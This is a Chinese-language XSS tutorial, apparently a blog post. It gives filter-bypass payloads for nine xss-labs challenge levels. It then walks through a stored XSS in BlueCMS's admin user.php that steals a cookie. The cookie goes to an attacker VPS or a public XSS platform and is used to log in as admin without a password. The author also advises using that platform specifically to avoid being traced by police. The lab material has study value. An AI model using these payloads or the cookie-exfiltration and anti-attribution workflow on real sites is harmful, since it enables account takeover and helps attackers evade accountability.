前言
XSS（Cross-Site Scripting）又称跨站脚本，XSS的重点不在于跨站点，而是在于脚本的执行。XSS是一种经常出现在 Web 应用程序中的计算机安全漏洞，是由于 Web 应用程序对用户的输入过滤不足而产生的。
类型
常见的 XSS 攻击有三种：反射型XSS攻击、DOM-based 型XXS攻击以及存储型XSS攻击。本文主要针对反射性及存储型进行试验。
0x01 反射型
图为反射性原理，反射型跨站脚本漏洞，最普遍的类型。用户访问服务器-跨站链接-返回跨站代码，输出的脚本并不会存储在数据库中。
0x02 存储型
存储型XSS，持久化，代码是存储在服务器中的，如在个人信息或发表文章等地方，插入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃cookie。
在实际的渗透测试中，XSS最大的作用其实是获取管理员cookie，当然 XSS能做的事很多，甚至可以新建用户、写入webshell等，但是做到这些 通常是很难的，条件首先需要获得管理员cookie，然后得知道创建用户 的功能页面和对应的参数，还得保证不存在验证码机制，至于webshell 也一样，必须知道例如上传点、编辑点和对应参数，且不能有安全软件 等外界因素干扰，才能顺利写马，显然真实情况没有这么顺利。
XSS挑战之旅
在正式开始之前我们来做几个XSS小题，方便理解。
1x01 level1
第一关直接拼接了函数，无任何过滤，导致了任意标签执行。
给出payload:
payload： <script>alert(1)</script>
1x02 level2
观察源码：
直接使用script标签已无法弹窗，原因是输入框本来就是input标签，payload被value值的双引号包裹，payload被当成文本，就没办法执行，想办法逃逸出来就可以。
给出payload：
1"><script>alert(/wu/)</script>
先闭合双引号，再用>闭合input，成功执行。
1x03 level3
观察源码：
源代码input标签使用了htmlspecialchars()函数对尖括号等特殊符号进行转义。也就是上两关“<>”没办法使用了，考虑用 on 事件进行绕过。
首先value的单引号，看下图:
on事件无法弹窗，是因为后面input后面的“>”,on事件无法逃逸，input标签是未被闭合的，这就导致payload依然无法独立作为一个事件执行，但是我们可以注释掉input标签的后半段。
给出payload：
1' onclick=alert(/wupan/)//
点击后on事件弹窗。
1x04 level4
观察源码：
对><进行了过滤，html标签已无法进行突破，但未对on事件进行过滤，与level3区别仅仅是value的单引号变成了双引号。
给出payload：
" onmouseover=alert(/wu/)
这里用的是onmouseover事件，移动到输入框出发；也可以用level的onclick进行点击触发。
1x05 level5
观察源码：
先是strtolower()函数对发送的过来的值进行了小写转发，这就过滤了大小写混合绕过，然后正则了<script、on，也就是无法用script标签和onclicks事件进行绕过。但是为过滤a标签。
给出以下payload：
"> <a href='javascript:alert(1)'>
a>标签定义超链接，用于从一张页面链接到另一张页面，点击链接。
成功弹窗。
1x06 level6
观察源码：
过滤了<script、on、src、data、href标签，但是没有进行大小写过滤，所以可以用大小写进行绕过。
给出以下payload：
"><a HREF=" javascript:alert(1)" //
1x07 level7
观察源码：
对script、on、src、data、href进行了正则删除，并且在过滤前将keyword转换为了小写，可以进行双写进行绕过。
给出payload：
"><a hrhrefef="javassrccript:alert(1)">//
" oonnclick=alert(1)//
成功弹窗。
1x08 level8
观察源码：
这个有点变态了，先是大小写过滤，再是正则过滤，过滤掉cript、on、src、data、href、双引号，接着就是input过滤htmlspecialchars()函数过滤危险符号，上面的脚本全部不能用了；但是第二次引用keyword时，是在a标签中，而且没有用htmlspecialchars()进行过滤。
但是仔细看源码，
该页面文本框功能为增加一个链接，所以href属性本来就存在，所以我们只需要将脚本进行html实体化编码就可以绕过。
给出payload:
javascript:alert(1)
点击超链接，弹窗。
1x09 level9
观察源码：
过滤规则和level8一样，第二次引用keyword时，是在a标签中，也没有用htmlspecialchars()对危险符号进行过滤。比level8中多了一个http://过滤，payload必须要包含http://。
给出payload：
javascript:alert(1)//http://www.baidu.com
点击“友情链接”，弹窗。
好了，让我们进入正题吧！
这是正题！！！！
2x01
老俗套，lamp环境，为了省事直接用了phpstudy。Xss最常用也是作用最大的一个功能，便是盗用cookie以开源cms Bluecms为例进行演示攻击。
2x02
Bluecms存在一个存储型xss，url为/admin/user.php,其地址参数由于未经过html 编码转义，导致了存储性xss。
红框为xss注入点。
新建测试账号 username：11 password：11
2x03
在VPS上创建PHP动态脚本，这个脚本意思是先跳转百度，然后吧cookie参数赋值到cookie的变量里。接下来就是捕获IP、时间、创建cookie文件，在将信息写入cookie文件。
2x04
在上面注入点输入payload
"/><script>window.open('*******/xss.php?cookie='+docume nt.cookie)</script> *****为VPS域名
由于vps出现了问题，没能提交上。同时，由于 payload里必须包含个人vps地址，所以就算触发端做的再隐蔽，也可能被溯源到真实身份。为了安全起见，我们采用开源的XSS。
2x05
在开源的xss平台上新建项目，通过此平台提交payload，防止被溯源，牢底蹲穿。
采用平台的默认模块，点击keepsession。
很贴心的给你自动生活一些payload
2x06
把payload输出搭配注入点。
提交。
2x07
点击编辑触发xss
触发之后页面不变，但是cookie信息已经传到刚才的平台上了。
2x08
返回xss平台查看cookie
cookie已生成。
2x09
利用cookie实现无用户、无密码直接登录。
打开新的url
将捕捉的cookie填入到红框中
点刷新。
成功。
2x10
现在我们来查看数据库
数据库里面有payload，如果用个人vps，vps的地址也就暴露了，管理员打电话报警，警察摸vps地址找到你，恭喜你，牢底坐穿。
完。
